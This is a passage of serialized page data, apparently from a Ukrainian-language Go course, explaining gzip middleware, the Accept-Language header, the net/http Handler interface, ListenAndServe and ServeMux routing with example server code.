",[5236,11718,11719],{},"compress\u002Fgzip",[5464,11721,11723],{"className":5550,"code":11722,"language":5553,"meta":5472,"style":5472},"func gzipMiddleware(next http.Handler) http.Handler {\n    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n        if !strings.Contains(r.Header.Get(\"Accept-Encoding\"), \"gzip\") {\n            next.ServeHTTP(w, r)\n            return\n        }\n\n        w.Header().Set(\"Content-Encoding\", \"gzip\")\n        gz := gzip.NewWriter(w)\n        defer gz.Close()\n\n        gzipWriter := gzipResponseWriter{Writer: gz, ResponseWriter: w}\n        next.ServeHTTP(gzipWriter, r)\n    })\n}\n\ntype gzipResponseWriter struct {\n    io.Writer\n    http.ResponseWriter\n}\n\nfunc (w gzipResponseWriter) Write(b []byte) (int, error) {\n    return w.Writer.Write(b)\n}\n",[5236,11724,11725,11754,11794,11830,11850,11854,11858,11862,11885,11906,11920,11924,11954,11974,11979,11983,11987,12000,12010,12019,12023,12027,12064,12085],{"__ignoreMap":5472},[5557,11726,11727,11729,11732,11734,11737,11739,11741,11744,11746,11748,11750,11752],{"class":5559,"line":5560},[5557,11728,5634],{"class":5563},[5557,11730,11731],{"class":5637}," gzipMiddleware",[5557,11733,5673],{"class":5585},[5557,11735,11736],{"class":5654},"next",[5557,11738,8912],{"class":5567},[5557,11740,5268],{"class":5585},[5557,11742,11743],{"class":5567},"Handler",[5557,11745,10276],{"class":5585},[5557,11747,8928],{"class":5567},[5557,11749,5268],{"class":5585},[5557,11751,11743],{"class":5567},[5557,11753,5701],{"class":5585},[5557,11755,11756,11759,11761,11763,11766,11768,11770,11772,11774,11776,11778,11780,11782,11784,11786,11788,11790,11792],{"class":5559,"line":5571},[5557,11757,11758],{"class":5581},"    return",[5557,11760,8912],{"class":5654},[5557,11762,5268],{"class":5585},[5557,11764,11765],{"class":5637},"HandlerFunc",[5557,11767,5673],{"class":5585},[5557,11769,5634],{"class":5563},[5557,11771,5673],{"class":5585},[5557,11773,8909],{"class":5654},[5557,11775,8912],{"class":5567},[5557,11777,5268],{"class":5585},[5557,11779,8917],{"class":5567},[5557,11781,5305],{"class":5585},[5557,11783,8922],{"class":5654},[5557,11785,8925],{"class":5585},[5557,11787,8928],{"class":5567},[5557,11789,5268],{"class":5585},[5557,11791,8933],{"class":5567},[5557,11793,5949],{"class":5585},[5557,11795,11796,11798,11800,11802,11804,11806,11808,11810,11812,11814,11816,11818,11820,11823,11825,11828],{"class":5559,"line":5578},[5557,11797,5838],{"class":5581},[5557,11799,9365],{"class":5585},[5557,11801,6103],{"class":5654},[5557,11803,5268],{"class":5585},[5557,11805,11419],{"class":5637},[5557,11807,5673],{"class":5585},[5557,11809,8922],{"class":5654},[5557,11811,5268],{"class":5585},[5557,11813,10972],{"class":5654},[5557,11815,5268],{"class":5585},[5557,11817,10977],{"class":5637},[5557,11819,5673],{"class":5585},[5557,11821,11822],{"class":5592},"\"Accept-Encoding\"",[5557,11824,7675],{"class":5585},[5557,11826,11827],{"class":5592},"\"gzip\"",[5557,11829,5949],{"class":5585},[5557,11831,11832,11835,11837,11840,11842,11844,11846,11848],{"class":5559,"line":5589},[5557,11833,11834],{"class":5654},"            next",[5557,11836,5268],{"class":5585},[5557,11838,11839],{"class":5637},"ServeHTTP",[5557,11841,5673],{"class":5585},[5557,11843,8909],{"class":5654},[5557,11845,5305],{"class":5585},[5557,11847,8922],{"class":5654},[5557,11849,5623],{"class":5585},[5557,11851,11852],{"class":5559,"line":5596},[5557,11853,6331],{"class":5581},[5557,11855,11856],{"class":5559,"line":5602},[5557,11857,5884],{"class":5585},[5557,11859,11860],{"class":5559,"line":5608},[5557,11861,5575],{"emptyLinePlaceholder":5574},[5557,11863,11864,11866,11868,11870,11872,11874,11876,11879,11881,11883],{"class":5559,"line":5614},[5557,11865,11000],{"class":5654},[5557,11867,5268],{"class":5585},[5557,11869,10972],{"class":5637},[5557,11871,11043],{"class":5585},[5557,11873,11046],{"class":5637},[5557,11875,5673],{"class":5585},[5557,11877,11878],{"class":5592},"\"Content-Encoding\"",[5557,11880,5305],{"class":5585},[5557,11882,11827],{"class":5592},[5557,11884,5623],{"class":5585},[5557,11886,11887,11890,11892,11895,11897,11900,11902,11904],{"class":5559,"line":5620},[5557,11888,11889],{"class":5654},"        gz",[5557,11891,5663],{"class":5585},[5557,11893,11894],{"class":5654},"gzip",[5557,11896,5268],{"class":5585},[5557,11898,11899],{"class":5637},"NewWriter",[5557,11901,5673],{"class":5585},[5557,11903,8909],{"class":5654},[5557,11905,5623],{"class":5585},[5557,11907,11908,11911,11914,11916,11918],{"class":5559,"line":5626},[5557,11909,11910],{"class":5581},"        defer",[5557,11912,11913],{"class":5654}," gz",[5557,11915,5268],{"class":5585},[5557,11917,5749],{"class":5637},[5557,11919,5752],{"class":5585},[5557,11921,11922],{"class":5559,"line":5631},[5557,11923,5575],{"emptyLinePlaceholder":5574},[5557,11925,11926,11929,11931,11934,11936,11939,11941,11944,11946,11948,11950,11952],{"class":5559,"line":5644},[5557,11927,11928],{"class":5654},"        gzipWriter",[5557,11930,5663],{"class":5585},[5557,11932,11933],{"class":5567},"gzipResponseWriter",[5557,11935,7065],{"class":5585},[5557,11937,11938],{"class":5654},"Writer",[5557,11940,6704],{"class":5585},[5557,11942,11943],{"class":5654},"gz",[5557,11945,5305],{"class":5585},[5557,11947,8917],{"class":5654},[5557,11949,6704],{"class":5585},[5557,11951,8909],{"class":5654},[5557,11953,5922],{"class":5585},[5557,11955,11956,11959,11961,11963,11965,11968,11970,11972],{"class":5559,"line":5651},[5557,11957,11958],{"class":5654},"        next",[5557,11960,5268],{"class":5585},[5557,11962,11839],{"class":5637},[5557,11964,5673],{"class":5585},[5557,11966,11967],{"class":5654},"gzipWriter",[5557,11969,5305],{"class":5585},[5557,11971,8922],{"class":5654},[5557,11973,5623],{"class":5585},[5557,11975,11976],{"class":5559,"line":5686},[5557,11977,11978],{"class":5585},"    })\n",[5557,11980,11981],{"class":5559,"line":5704},[5557,11982,5922],{"class":5585},[5557,11984,11985],{"class":5559,"line":5732},[5557,11986,5575],{"emptyLinePlaceholder":5574},[5557,11988,11989,11992,11995,11998],{"class":5559,"line":5738},[5557,11990,11991],{"class":5563},"type",[5557,11993,11994],{"class":5567}," gzipResponseWriter",[5557,11996,11997],{"class":5563}," struct",[5557,11999,5701],{"class":5585},[5557,12001,12002,12005,12007],{"class":5559,"line":5755},[5557,12003,12004],{"class":5567},"    io",[5557,12006,5268],{"class":5585},[5557,12008,12009],{"class":5567},"Writer\n",[5557,12011,12012,12014,12016],{"class":5559,"line":5760},[5557,12013,9097],{"class":5567},[5557,12015,5268],{"class":5585},[5557,12017,12018],{"class":5567},"ResponseWriter\n",[5557,12020,12021],{"class":5559,"line":5778},[5557,12022,5922],{"class":5585},[5557,12024,12025],{"class":5559,"line":5794},[5557,12026,5575],{"emptyLinePlaceholder":5574},[5557,12028,12029,12031,12033,12036,12038,12040,12042,12044,12047,12050,12052,12055,12057,12059,12062],{"class":5559,"line":5799},[5557,12030,5634],{"class":5563},[5557,12032,5226],{"class":5585},[5557,12034,12035],{"class":5654},"w ",[5557,12037,11933],{"class":5567},[5557,12039,10276],{"class":5585},[5557,12041,6951],{"class":5637},[5557,12043,5673],{"class":5585},[5557,12045,12046],{"class":5654},"b",[5557,12048,12049],{"class":5585}," []",[5557,12051,6957],{"class":5567},[5557,12053,12054],{"class":5585},") (",[5557,12056,6686],{"class":5567},[5557,12058,5305],{"class":5585},[5557,12060,12061],{"class":5567},"error",[5557,12063,5949],{"class":5585},[5557,12065,12066,12068,12071,12073,12075,12077,12079,12081,12083],{"class":5559,"line":5807},[5557,12067,11758],{"class":5581},[5557,12069,12070],{"class":5654}," w",[5557,12072,5268],{"class":5585},[5557,12074,11938],{"class":5654},[5557,12076,5268],{"class":5585},[5557,12078,6951],{"class":5637},[5557,12080,5673],{"class":5585},[5557,12082,12046],{"class":5654},[5557,12084,5623],{"class":5585},[5557,12086,12087],{"class":5559,"line":5813},[5557,12088,5922],{"class":5585},[7167,12090,12092],{"id":12091},"accept-language-мультимовність","Accept-Language: мультимовність",[5348,12094,7253,12095,12098],{},[5236,12096,12097],{},"Accept-Language"," вказує бажану мову інтерфейсу:",[5464,12100,12103],{"className":12101,"code":12102,"language":5469},[5467],"GET \u002F HTTP\u002F1.1\nAccept-Language: uk-UA, en-US;q=0.9, ru;q=0.8\n",[5236,12104,12102],{"__ignoreMap":5472},[5348,12106,12107],{},"Сервер повертає контент українською мовою, якщо підтримує.",[5430,12109,12110,12113,12114,5268],{},[5205,12111,12112],{},"Автоматичне визначення мови:"," Більшість вебфреймворків (включно з Gin у наступних лекціях) мають вбудовану підтримку Content Negotiation. Ви можете зареєструвати різні рендери (JSON, XML, HTML, Protobuf) і фреймворк автоматично обере найкращий на основі заголовка ",[5236,12115,5830],{},[5340,12117],{},[5343,12119,12121,12122,12124],{"id":12120},"стандартний-пакет-nethttp-архітектура-та-інтерфейси","Стандартний пакет ",[5236,12123,5238],{},": архітектура та інтерфейси",[5348,12126,12127,12128,12130],{},"Тепер, коли ми розуміємо структуру протоколу HTTP, перейдемо до вивчення стандартного пакета ",[5236,12129,5238],{}," мови Go. Цей пакет є одним із найелегантніших та найпотужніших у всій екосистемі Go: він приховує всю складність парсингу HTTP-запитів, керування з'єднаннями, підтримки HTTP\u002F1.1 та HTTP\u002F2, при цьому надаючи надзвичайно простий інтерфейс для розробника.",[7167,12132,12134,12135],{"id":12133},"центральний-інтерфейс-httphandler","Центральний інтерфейс ",[5236,12136,5242],{},[5348,12138,12139,12140,12142,12143,12145],{},"Серцем архітектури ",[5236,12141,5238],{}," є інтерфейс ",[5236,12144,5242],{},", який складається з єдиного методу:",[5464,12147,12149],{"className":5550,"code":12148,"language":5553,"meta":5472,"style":5472},"type Handler interface {\n    ServeHTTP(w ResponseWriter, r *Request)\n}\n",[5236,12150,12151,12163,12185],{"__ignoreMap":5472},[5557,12152,12153,12155,12158,12161],{"class":5559,"line":5560},[5557,12154,11991],{"class":5563},[5557,12156,12157],{"class":5567}," Handler",[5557,12159,12160],{"class":5563}," interface",[5557,12162,5701],{"class":5585},[5557,12164,12165,12168,12170,12172,12175,12177,12179,12181,12183],{"class":5559,"line":5571},[5557,12166,12167],{"class":5637},"    ServeHTTP",[5557,12169,5673],{"class":5585},[5557,12171,8909],{"class":5654},[5557,12173,12174],{"class":5567}," ResponseWriter",[5557,12176,5305],{"class":5585},[5557,12178,8922],{"class":5654},[5557,12180,8925],{"class":5585},[5557,12182,8933],{"class":5567},[5557,12184,5623],{"class":5585},[5557,12186,12187],{"class":5559,"line":5578},[5557,12188,5922],{"class":5585},[5348,12190,12191,12192,12194],{},"Будь-який тип у Go, який реалізує метод ",[5236,12193,11839],{}," із такою сигнатурою, автоматично стає HTTP-обробником. Це дозволяє створювати величезну кількість композицій та патернів (middleware, роутери, групування обробників).",[5348,12196,12197],{},[5205,12198,12199],{},"Параметри методу:",[5198,12201,12202,12221],{},[5201,12203,12204,12209,12210,12213,12214,12217,12218,7121],{},[5205,12205,12206],{},[5236,12207,12208],{},"w ResponseWriter"," — інтерфейс для формування HTTP-відповіді. Через нього ви встановлюєте заголовки (",[5236,12211,12212],{},"w.Header().Set(...)","), записуєте статус-код (",[5236,12215,12216],{},"w.WriteHeader(...)",") та тіло відповіді (",[5236,12219,12220],{},"w.Write(...)",[5201,12222,12223,12228,12229,12232,12233,12236,12237,12240,12241,12244,12245,7121],{},[5205,12224,12225],{},[5236,12226,12227],{},"r *Request"," — структура, яка містить всю інформацію про вхідний HTTP-запит: метод (",[5236,12230,12231],{},"r.Method","), URL (",[5236,12234,12235],{},"r.URL","), заголовки (",[5236,12238,12239],{},"r.Header","), тіло (",[5236,12242,12243],{},"r.Body","), контекст (",[5236,12246,12247],{},"r.Context()",[7167,12249,12251,12252],{"id":12250},"найпростіший-http-сервер-на-nethttp","Найпростіший HTTP-сервер на ",[5236,12253,5238],{},[5348,12255,12256],{},"Розглянемо мінімальний робочий приклад:",[5464,12258,12260],{"className":5550,"code":12259,"language":5553,"meta":5472,"style":5472},"package main\n\nimport (\n    \"fmt\"\n    \"net\u002Fhttp\"\n)\n\nfunc main() {\n    \u002F\u002F Реєструємо обробник для кореневого шляху\n    http.HandleFunc(\"\u002F\", func(w http.ResponseWriter, r *http.Request) {\n        fmt.Fprintf(w, \"Вітаємо! Ви відкрили шлях: %s\\n\", r.URL.Path)\n    })\n\n    \u002F\u002F Запускаємо сервер на порту 8080\n    fmt.Println(\"🚀 Сервер запущено на http:\u002F\u002Flocalhost:8080\")\n    http.ListenAndServe(\":8080\", nil)\n}\n",[5236,12261,12262,12268,12272,12278,12282,12287,12291,12295,12303,12308,12349,12386,12390,12394,12399,12414,12433],{"__ignoreMap":5472},[5557,12263,12264,12266],{"class":5559,"line":5560},[5557,12265,5564],{"class":5563},[5557,12267,5568],{"class":5567},[5557,12269,12270],{"class":5559,"line":5571},[5557,12271,5575],{"emptyLinePlaceholder":5574},[5557,12273,12274,12276],{"class":5559,"line":5578},[5557,12275,5582],{"class":5581},[5557,12277,5586],{"class":5585},[5557,12279,12280],{"class":5559,"line":5589},[5557,12281,5599],{"class":5592},[5557,12283,12284],{"class":5559,"line":5596},[5557,12285,12286],{"class":5592},"    \"net\u002Fhttp\"\n",[5557,12288,12289],{"class":5559,"line":5602},[5557,12290,5623],{"class":5585},[5557,12292,12293],{"class":5559,"line":5608},[5557,12294,5575],{"emptyLinePlaceholder":5574},[5557,12296,12297,12299,12301],{"class":5559,"line":5614},[5557,12298,5634],{"class":5563},[5557,12300,5638],{"class":5637},[5557,12302,5641],{"class":5585},[5557,12304,12305],{"class":5559,"line":5620},[5557,12306,12307],{"class":5647},"    \u002F\u002F Реєструємо обробник для кореневого шляху\n",[5557,12309,12310,12312,12314,12317,12319,12321,12323,12325,12327,12329,12331,12333,12335,12337,12339,12341,12343,12345,12347],{"class":5559,"line":5626},[5557,12311,9097],{"class":5654},[5557,12313,5268],{"class":5585},[5557,12315,12316],{"class":5637},"HandleFunc",[5557,12318,5673],{"class":5585},[5557,12320,9017],{"class":5592},[5557,12322,5305],{"class":5585},[5557,12324,5634],{"class":5563},[5557,12326,5673],{"class":5585},[5557,12328,8909],{"class":5654},[5557,12330,8912],{"class":5567},[5557,12332,5268],{"class":5585},[5557,12334,8917],{"class":5567},[5557,12336,5305],{"class":5585},[5557,12338,8922],{"class":5654},[5557,12340,8925],{"class":5585},[5557,12342,8928],{"class":5567},[5557,12344,5268],{"class":5585},[5557,12346,8933],{"class":5567},[5557,12348,5949],{"class":5585},[5557,12350,12351,12353,12355,12357,12359,12361,12363,12366,12368,12370,12372,12374,12376,12378,12380,12382,12384],{"class":5559,"line":5631},[5557,12352,11530],{"class":5654},[5557,12354,5268],{"class":5585},[5557,12356,9146],{"class":5637},[5557,12358,5673],{"class":5585},[5557,12360,8909],{"class":5654},[5557,12362,5305],{"class":5585},[5557,12364,12365],{"class":5592},"\"Вітаємо! Ви відкрили шлях: ",[5557,12367,6238],{"class":5654},[5557,12369,6372],{"class":6358},[5557,12371,5723],{"class":5592},[5557,12373,5305],{"class":5585},[5557,12375,8922],{"class":5654},[5557,12377,5268],{"class":5585},[5557,12379,10097],{"class":5654},[5557,12381,5268],{"class":5585},[5557,12383,8629],{"class":5654},[5557,12385,5623],{"class":5585},[5557,12387,12388],{"class":5559,"line":5644},[5557,12389,11978],{"class":5585},[5557,12391,12392],{"class":5559,"line":5651},[5557,12393,5575],{"emptyLinePlaceholder":5574},[5557,12395,12396],{"class":5559,"line":5686},[5557,12397,12398],{"class":5647},"    \u002F\u002F Запускаємо сервер на порту 8080\n",[5557,12400,12401,12403,12405,12407,12409,12412],{"class":5559,"line":5704},[5557,12402,5763],{"class":5654},[5557,12404,5268],{"class":5585},[5557,12406,5768],{"class":5637},[5557,12408,5673],{"class":5585},[5557,12410,12411],{"class":5592},"\"🚀 Сервер запущено на http:\u002F\u002Flocalhost:8080\"",[5557,12413,5623],{"class":5585},[5557,12415,12416,12418,12420,12423,12425,12427,12429,12431],{"class":5559,"line":5732},[5557,12417,9097],{"class":5654},[5557,12419,5268],{"class":5585},[5557,12421,12422],{"class":5637},"ListenAndServe",[5557,12424,5673],{"class":5585},[5557,12426,5681],{"class":5592},[5557,12428,5305],{"class":5585},[5557,12430,5698],{"class":5563},[5557,12432,5623],{"class":5585},[5557,12434,12435],{"class":5559,"line":5738},[5557,12436,5922],{"class":5585},[5348,12438,12439,12440,12443,12444,12447,12448,12451,12452,5268],{},"Цей сервер обробляє ",[5205,12441,12442],{},"всі"," HTTP-запити (будь-який шлях, будь-який метод) і повертає просте текстове повідомлення. Функція ",[5236,12445,12446],{},"http.HandleFunc"," — це зручний хелпер, який автоматично перетворює функцію з сигнатурою ",[5236,12449,12450],{},"func(w ResponseWriter, r *Request)"," на тип ",[5236,12453,5242],{},[7167,12455,12457,12458],{"id":12456},"як-працює-httplistenandserve","Як працює ",[5236,12459,12460],{},"http.ListenAndServe",[5348,12462,12463,12464,12467],{},"Під капотом функція ",[5236,12465,12466],{},"http.ListenAndServe(addr, handler)"," виконує наступні кроки:",[5477,12469,12470,12476,12482],{},[5201,12471,12472,12473,5268],{},"Створює TCP-слухача за допомогою ",[5236,12474,12475],{},"net.Listen(\"tcp\", addr)",[5201,12477,12478,12479,7121],{},"Входить у нескінченний цикл прийняття з'єднань (",[5236,12480,12481],{},"listener.Accept()",[5201,12483,12484,12485,12488,12489],{},"Для кожного нового з'єднання запускає окрему ",[5205,12486,12487],{},"горутину",", яка:\n",[5198,12490,12491,12494,12497,12503,12506],{},[5201,12492,12493],{},"Читає HTTP-запит із сокета.",[5201,12495,12496],{},"Парсить стартовий рядок, заголовки та тіло.",[5201,12498,12499,12500,5268],{},"Викликає зареєстрований обробник ",[5236,12501,12502],{},"handler.ServeHTTP(w, r)",[5201,12504,12505],{},"Формує HTTP-відповідь та записує її у сокет.",[5201,12507,12508,12509,12511],{},"Якщо з'єднання persistent (",[5236,12510,7127],{},"), чекає наступного запиту в тому самому з'єднанні.",[5348,12513,12514,12515,12518],{},"Це означає, що Go-сервер автоматично є ",[5205,12516,12517],{},"багатопотоковим"," (точніше, багатогорутинним) без жодного додаткового коду з вашого боку. Якщо до сервера одночасно підключаться 1000 клієнтів, Go-рантайм створить 1000 горутин, кожна з яких обробляє свого клієнта незалежно.",[5430,12520,12521,12524,12525,12527],{},[5205,12522,12523],{},"Модель «одна горутина на запит»:"," Архітектура ",[5236,12526,5238],{}," використовує модель, де кожен HTTP-запит обробляється в окремій горутині. Завдяки легковаговості горутин (кілька кілобайтів пам'яті на стек) та ефективному планувальнику, один Go-сервер може одночасно обслуговувати десятки тисяч запитів на звичайному апаратному забезпеченні, не вдаючись до асинхронного програмування або callback-ів, як у Node.js.",[7167,12529,12531,12532],{"id":12530},"стандартний-роутер-httpservemux","Стандартний роутер ",[5236,12533,5250],{},[5348,12535,12536,12537,12539,12540,12542,12543,12546,12547,5222,12550,12552],{},"Якщо ви передаєте ",[5236,12538,5698],{}," у другий аргумент ",[5236,12541,12460],{},", використовується глобальний роутер ",[5236,12544,12545],{},"http.DefaultServeMux",", який ви налаштовуєте через функції ",[5236,12548,12549],{},"http.Handle",[5236,12551,12446],{},". Але ви також можете створити власний екземпляр роутера:",[5464,12554,12556],{"className":5550,"code":12555,"language":5553,"meta":5472,"style":5472},"package main\n\nimport (\n    \"encoding\u002Fjson\"\n    \"fmt\"\n    \"net\u002Fhttp\"\n)\n\nfunc main() {\n    \u002F\u002F Створюємо новий роутер\n    mux := http.NewServeMux()\n\n    \u002F\u002F Реєструємо обробники для різних шляхів\n    mux.HandleFunc(\"\u002F\", homeHandler)\n    mux.HandleFunc(\"\u002Fhealth\", healthHandler)\n    mux.HandleFunc(\"\u002Fapi\u002Fusers\", usersHandler)\n\n    fmt.Println(\"🚀 Сервер запущено на http:\u002F\u002Flocalhost:8080\")\n    http.ListenAndServe(\":8080\", mux)\n}\n\nfunc homeHandler(w http.ResponseWriter, r *http.Request) {\n    w.Header().Set(\"Content-Type\", \"text\u002Fhtml; charset=utf-8\")\n    fmt.Fprintf(w, \"\u003Ch1>Вітаємо на головній сторінці\u003C\u002Fh1>\")\n}\n\nfunc healthHandler(w http.ResponseWriter, r *http.Request) {\n    w.Header().Set(\"Content-Type\", \"application\u002Fjson\")\n    json.NewEncoder(w).Encode(map[string]string{\n        \"status\": \"healthy\",\n        \"version\": \"1.0.0\",\n    })\n}\n\nfunc usersHandler(w http.ResponseWriter, r *http.Request) {\n    \u002F\u002F До Go 1.22 перевірку методу доводилося здійснювати вручну в тілі обробника\n    if r.Method != http.MethodGet {\n        http.Error(w, \"Method Not Allowed\", http.StatusMethodNotAllowed)\n        return\n    }\n\n    users := []map[string]any{\n        {\"id\": 1, \"name\": \"Олена\"},\n        {\"id\": 2, \"name\": \"Дмитро\"},\n    }\n\n    w.Header().Set(\"Content-Type\", \"application\u002Fjson\")\n    json.NewEncoder(w).Encode(users)\n}\n",[5236,12557,12558,12564,12568,12574,12579,12583,12587,12591,12595,12603,12608,12624,12628,12633,12652,12672,12692,12696,12710,12729,12733,12737,12768,12790,12809,12813,12817,12848,12870,12900,12912,12924,12928,12932,12936,12966,12971,12993,13021,13025,13029,13033,13052,13074,13094,13098,13102,13124,13146],{"__ignoreMap":5472},[5557,12559,12560,12562],{"class":5559,"line":5560},[5557,12561,5564],{"class":5563},[5557,12563,5568],{"class":5567},[5557,12565,12566],{"class":5559,"line":5571},[5557,12567,5575],{"emptyLinePlaceholder":5574},[5557,12569,12570,12572],{"class":5559,"line":5578},[5557,12571,5582],{"class":5581},[5557,12573,5586],{"class":5585},[5557,12575,12576],{"class":5559,"line":5589},[5557,12577,12578],{"class":5592},"    \"encoding\u002Fjson\"\n",[5557,12580,12581],{"class":5559,"line":5596},[5557,12582,5599],{"class":5592},[5557,12584,12585],{"class":5559,"line":5602},[5557,12586,12286],{"class":5592},[5557,12588,12589],{"class":5559,"line":5608},[5557,12590,5623],{"class":5585},[5557,12592,12593],{"class":5559,"line":5614},[5557,12594,5575],{"emptyLinePlaceholder":5574},[5557,12596,12597,12599,12601],{"class":5559,"line":5620},[5557,12598,5634],{"class":5563},[5557,12600,5638],{"class":5637},[5557,12602,5641],{"class":5585},[5557,12604,12605],{"class":5559,"line":5626},[5557,12606,12607],{"class":5647},"    \u002F\u002F Створюємо новий роутер\n",[5557,12609,12610,12613,12615,12617,12619,12622],{"class":5559,"line":5631},[5557,12611,12612],{"class":5654},"    mux",[5557,12614,5663],{"class":5585},[5557,12616,8928],{"class":5654},[5557,12618,5268],{"class":5585},[5557,12620,12621],{"class":5637},"NewServeMux",[5557,12623,5752],{"class":5585},[5557,12625,12626],{"class":5559,"line":5644},[5557,12627,5575],{"emptyLinePlaceholder":5574},[5557,12629,12630],{"class":5559,"line":5651},[5557,12631,12632],{"class":5647},"    \u002F\u002F Реєструємо обробники для різних шляхів\n",[5557,12634,12635,12637,12639,12641,12643,12645,12647,12650],{"class":5559,"line":5686},[5557,12636,12612],{"class":5654},[5557,12638,5268],{"class":5585},[5557,12640,12316],{"class":5637},[5557,12642,5673],{"class":5585},[5557,12644,9017],{"class":5592},[5557,12646,5305],{"class":5585},[5557,12648,12649],{"class":5654},"homeHandler",[5557,12651,5623],{"class":5585},[5557,12653,12654,12656,12658,12660,12662,12665,12667,12670],{"class":5559,"line":5704},[5557,12655,12612],{"class":5654},[5557,12657,5268],{"class":5585},[5557,12659,12316],{"class":5637},[5557,12661,5673],{"class":5585},[5557,12663,12664],{"class":5592},"\"\u002Fhealth\"",[5557,12666,5305],{"class":5585},[5557,12668,12669],{"class":5654},"healthHandler",[5557,12671,5623],{"class":5585},[5557,12673,12674,12676,12678,12680,12682,12685,12687,12690],{"class":5559,"line":5732},[5557,12675,12612],{"class":5654},[5557,12677,5268],{"class":5585},[5557,12679,12316],{"class":5637},[5557,12681,5673],{"class":5585},[5557,12683,12684],{"class":5592},"\"\u002Fapi\u002Fusers\"",[5557,12686,5305],{"class":5585},[5557,12688,12689],{"class":5654},"usersHandler",[5557,12691,5623],{"class":5585},[5557,12693,12694],{"class":5559,"line":5738},[5557,12695,5575],{"emptyLinePlaceholder":5574},[5557,12697,12698,12700,12702,12704,12706,12708],{"class":5559,"line":5755},[5557,12699,5763],{"class":5654},[5557,12701,5268],{"class":5585},[5557,12703,5768],{"class":5637},[5557,12705,5673],{"class":5585},[5557,12707,12411],{"class":5592},[5557,12709,5623],{"class":5585},[5557,12711,12712,12714,12716,12718,12720,12722,12724,12727],{"class":5559,"line":5760},[5557,12713,9097],{"class":5654},[5557,12715,5268],{"class":5585},[5557,12717,12422],{"class":5637},[5557,12719,5673],{"class":5585},[5557,12721,5681],{"class":5592},[5557,12723,5305],{"class":5585},[5557,12725,12726],{"class":5654},"mux",[5557,12728,5623],{"class":5585},[5557,12730,12731],{"class":5559,"line":5778},[5557,12732,5922],{"class":5585},[5557,12734,12735],{"class":5559,"line":5794},[5557,12736,5575],{"emptyLinePlaceholder":5574},[5557,12738,12739,12741,12744,12746,12748,12750,12752,12754,12756,12758,12760,12762,12764,12766],{"class":5559,"line":5799},[5557,12740,5634],{"class":5563},[5557,12742,12743],{"class":5637}," homeHandler",[5557,12745,5673],{"class":5585},[5557,12747,8909],{"class":5654},[5557,12749,8912],{"class":5567},[5557,12751,5268],{"class":5585},[5557,12753,8917],{"class":5567},[5557,12755,5305],{"class":5585},[5557,12757,8922],{"class":5654},[5557,12759,8925],{"class":5585},[5557,12761,8928],{"class":5567},[5557,12763,5268],{"class":5585},[5557,12765,8933],{"class":5567},[5557,12767,5949],{"class":5585},[5557,12769,12770,12772,12774,12776,12778,12780,12782,12784,12786,12788],{"class":5559,"line":5807},[5557,12771,9121],{"class":5654},[5557,12773,5268],{"class":5585},[5557,12775,10972],{"class":5637},[5557,12777,11043],{"class":5585},[5557,12779,11046],{"class":5637},[5557,12781,5673],{"class":5585},[5557,12783,11098],{"class":5592},[5557,12785,5305],{"class":5585},[5557,12787,6456],{"class":5592},[5557,12789,5623],{"class":5585},[5557,12791,12792,12794,12796,12798,12800,12802,12804,12807],{"class":5559,"line":5813},[5557,12793,5763],{"class":5654},[5557,12795,5268],{"class":5585},[5557,12797,9146],{"class":5637},[5557,12799,5673],{"class":5585},[5557,12801,8909],{"class":5654},[5557,12803,5305],{"class":5585},[5557,12805,12806],{"class":5592},"\"\u003Ch1>Вітаємо на головній сторінці\u003C\u002Fh1>\"",[5557,12808,5623],{"class":5585},[5557,12810,12811],{"class":5559,"line":5835},[5557,12812,5922],{"class":5585},[5557,12814,12815],{"class":5559,"line":5849},[5557,12816,5575],{"emptyLinePlaceholder":5574},[5557,12818,12819,12821,12824,12826,12828,12830,12832,12834,12836,12838,12840,12842,12844,12846],{"class":5559,"line":5875},[5557,12820,5634],{"class":5563},[5557,12822,12823],{"class":5637}," healthHandler",[5557,12825,5673],{"class":5585},[5557,12827,8909],{"class":5654},[5557,12829,8912],{"class":5567},[5557,12831,5268],{"class":5585},[5557,12833,8917],{"class":5567},[5557,12835,5305],{"class":5585},[5557,12837,8922],{"class":5654},[5557,12839,8925],{"class":5585},[5557,12841,8928],{"class":5567},[5557,12843,5268],{"class":5585},[5557,12845,8933],{"class":5567},[5557,12847,5949],{"class":5585},[5557,12849,12850,12852,12854,12856,12858,12860,12862,12864,12866,12868],{"class":5559,"line":5881},[5557,12851,9121],{"class":5654},[5557,12853,5268],{"class":5585},[5557,12855,10972],{"class":5637},[5557,12857,11043],{"class":5585},[5557,12859,11046],{"class":5637},[5557,12861,5673],{"class":5585},[5557,12863,11098],{"class":5592},[5557,12865,5305],{"class":5585},[5557,12867,6555],{"class":5592},[5557,12869,5623],{"class":5585},[5557,12871,12872,12874,12876,12878,12880,12882,12884,12886,12888,12890,12892,12894,12896,12898],{"class":5559,"line":5887},[5557,12873,11109],{"class":5654},[5557,12875,5268],{"class":5585},[5557,12877,11114],{"class":5637},[5557,12879,5673],{"class":5585},[5557,12881,8909],{"class":5654},[5557,12883,7121],{"class":5585},[5557,12885,11123],{"class":5637},[5557,12887,5673],{"class":5585},[5557,12889,6681],{"class":5563},[5557,12891,6192],{"class":5585},[5557,12893,6692],{"class":5567},[5557,12895,6689],{"class":5585},[5557,12897,6692],{"class":5567},[5557,12899,6695],{"class":5585},[5557,12901,12902,12905,12907,12910],{"class":5559,"line":5892},[5557,12903,12904],{"class":5592},"        \"status\"",[5557,12906,6704],{"class":5585},[5557,12908,12909],{"class":5592},"\"healthy\"",[5557,12911,6710],{"class":5585},[5557,12913,12914,12917,12919,12922],{"class":5559,"line":5898},[5557,12915,12916],{"class":5592},"        \"version\"",[5557,12918,6704],{"class":5585},[5557,12920,12921],{"class":5592},"\"1.0.0\"",[5557,12923,6710],{"class":5585},[5557,12925,12926],{"class":5559,"line":5914},[5557,12927,11978],{"class":5585},[5557,12929,12930],{"class":5559,"line":5919},[5557,12931,5922],{"class":5585},[5557,12933,12934],{"class":5559,"line":5925},[5557,12935,5575],{"emptyLinePlaceholder":5574},[5557,12937,12938,12940,12942,12944,12946,12948,12950,12952,12954,12956,12958,12960,12962,12964],{"class":5559,"line":5930},[5557,12939,5634],{"class":5563},[5557,12941,11277],{"class":5637},[5557,12943,5673],{"class":5585},[5557,12945,8909],{"class":5654},[5557,12947,8912],{"class":5567},[5557,12949,5268],{"class":5585},[5557,12951,8917],{"class":5567},[5557,12953,5305],{"class":5585},[5557,12955,8922],{"class":5654},[5557,12957,8925],{"class":5585},[5557,12959,8928],{"class":5567},[5557,12961,5268],{"class":5585},[5557,12963,8933],{"class":5567},[5557,12965,5949],{"class":5585},[5557,12967,12968],{"c